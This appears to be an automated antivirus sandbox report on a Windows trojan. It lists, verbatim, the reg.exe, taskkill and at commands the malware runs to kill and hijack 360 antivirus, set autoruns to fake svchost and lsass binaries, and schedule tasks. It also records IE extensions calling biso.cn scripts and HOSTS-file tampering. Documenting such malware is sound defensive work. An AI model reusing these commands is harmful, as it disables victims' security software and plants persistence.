Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360sd.exe] 'debugger' = '"%ProgramFiles%\360\360safe\360Safe.exe"'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQdoctorRtp.exe] 'debugger' = '"%ProgramFiles%\360\360safe\360Safe.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] '360safetray' = '"%WINDIR%\SYSTEM\360shell.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'svchost' = '"%WINDIR%\repair\svchost.exe"'
- [HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce] 'lsass' = '"%WINDIR%\Config\shell\lsass.exe"'
- [HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}] 'ClsidExtension' = '╨┬╬┼╫╩╤╢'
- [HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}] 'Exec' = 'http://www.biso.cn/js/re.asp?i=1'
- [HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}] 'ClsidExtension' = '╣╚╕Φ╦╤╦≈'
- [HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}] 'Exec' = 'http://www.biso.cn/js/re.asp?i=2'
- [HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}] 'ClsidExtension' = '░┘╢╚╦╤╦≈'
- [HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions\{b03A04EE-3024-11D2-8F1F-0000F87ABD16}] 'Exec' = 'http://www.biso.cn/js/re.asp?i=9'
Creates or modifies the following files
- %WINDIR%\tasks\at1.job
- <SYSTEM32>\tasks\at1
Malicious functions
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im 360sd.exe
- '%WINDIR%\syswow64\at.exe' /delete /yes
- '%WINDIR%\syswow64\at.exe' 10:4 /every:F %WINDIR%\Config\shell\lsass.exe
Modifies file system
Creates the following files
- %TEMP%\bd.ico
- %TEMP%\gg.ico
- %TEMP%\win32.bat
- %TEMP%\exe7261.tmp
- <Current directory>\a.txt
- %WINDIR%\syswow64\winsd.inf
- %WINDIR%\syswow64\gg.ico
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_d99ef00b-ccd3-4f1d-9980-90ac453b0b47
- %HOMEPATH%\favorites\google╦╤╦≈.url
- %HOMEPATH%\favorites\baidu╦╤╦≈.url
- %HOMEPATH%\favorites\═В°╒╛╡╝║╜.url
Deletes the following files
- <Current directory>\a.txt
- %TEMP%\exe7261.tmp
- %TEMP%\win32.bat
- %TEMP%\bd.ico
- %TEMP%\gg.ico
Substitutes the following files
- <Current directory>\a.txt
Modifies the HOSTS file.
Network activity
UDP
- DNS ASK g-##.8800.org
- DNS ASK b-##.8800.org
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\win32.bat""
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "" /d "" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "ButtonText" /d "╣╚╕Φ╦╤╦≈" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Default Visible" /d "yes" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Icon" /d "<SYSTEM32>\gg.ico" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "default Icon" /d "<SYSTEM32>\gg.ico" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "hotIcon" /d "<SYSTEM32>\gg.ico" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "CLSID" /d "{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "ClsidExtension" /d "╣╚╕Φ╦╤╦≈" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Exec" /d "http://www.biso.cn/js/re.asp?i=2" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "MenuStatusBar" /d "╣╚╕Φ╦╤╦≈" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b03A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "MenuText" /d "░┘╢╚╦╤╦≈" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b03A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "" /d "" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b03A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "ButtonText" /d "░┘╢╚╦╤╦≈" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b03A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Default Visible" /d "yes" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b03A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Icon" /d "<SYSTEM32>\bd.ico" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b03A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "default Icon" /d "<SYSTEM32>\bd.ico" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b03A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "hotIcon" /d "<SYSTEM32>\bd.ico" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b03A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "CLSID" /d "{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "ClsidExtension" /d "░┘╢╚╦╤╦≈" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b03A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Exec" /d "http://www.biso.cn/js/re.asp?i=9" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "MenuStatusBar" /d "╨┬╬┼╫╩╤╢" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "MenuText" /d "╣╚╕Φ╦╤╦≈" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "MenuText" /d "╨┬╬┼╫╩╤╢" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\═В°╒╛╡╝║╜" /v "" /d "http://www.biso.cn/js/menu.asp?menu=123" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360sd.exe" /v debugger /d """"%ProgramFiles%\360\360safe\360Safe.exe"""" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQdoctorRtp.exe" /v debugger /d """"%ProgramFiles%\360\360safe\360Safe.exe"""" /f
- '%WINDIR%\syswow64\ping.exe' -n 1 g-cn.8800.org
- '%WINDIR%\syswow64\ping.exe' -n 1 b-cn.8800.org
- '%WINDIR%\syswow64\findstr.exe' /m /c:"93.#6.8.90 www.baidu.com" "<DRIVERS>\etc\hosts"
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /va /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce /v 360safetray /d """"%WINDIR%\SYSTEM\360shell.exe"""" /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /v svchost /d """"%WINDIR%\repair\svchost.exe"""" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Exec" /d "http://www.biso.cn/js/re.asp?i=1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "MenuStatusBar" /d "░┘╢╚╦╤╦≈" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "ClsidExtension" /d "╨┬╬┼╫╩╤╢" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\╫╩╤╢╨┬╬┼" /v "" /d "http://www.biso.cn/js/menu.asp?menu=news" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "" /d "" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "ButtonText" /d "╨┬╬┼╫╩╤╢" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Default Visible" /d "yes" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Icon" /d "<SYSTEM32>\shell32.dll,14" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "default Icon" /d "<SYSTEM32>\shell32.dll,14" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "hotIcon" /d "<SYSTEM32>\shell32.dll,14" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b01A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "CLSID" /d "{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}" /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\╬╥╥В¬╦╤╦≈" /v "" /d "http://www.biso.cn/js/menu.asp?menu=search" /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce /v lsass /d """"%WINDIR%\Config\shell\lsass.exe"""" /f
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\win32.bat""' (with hidden window)
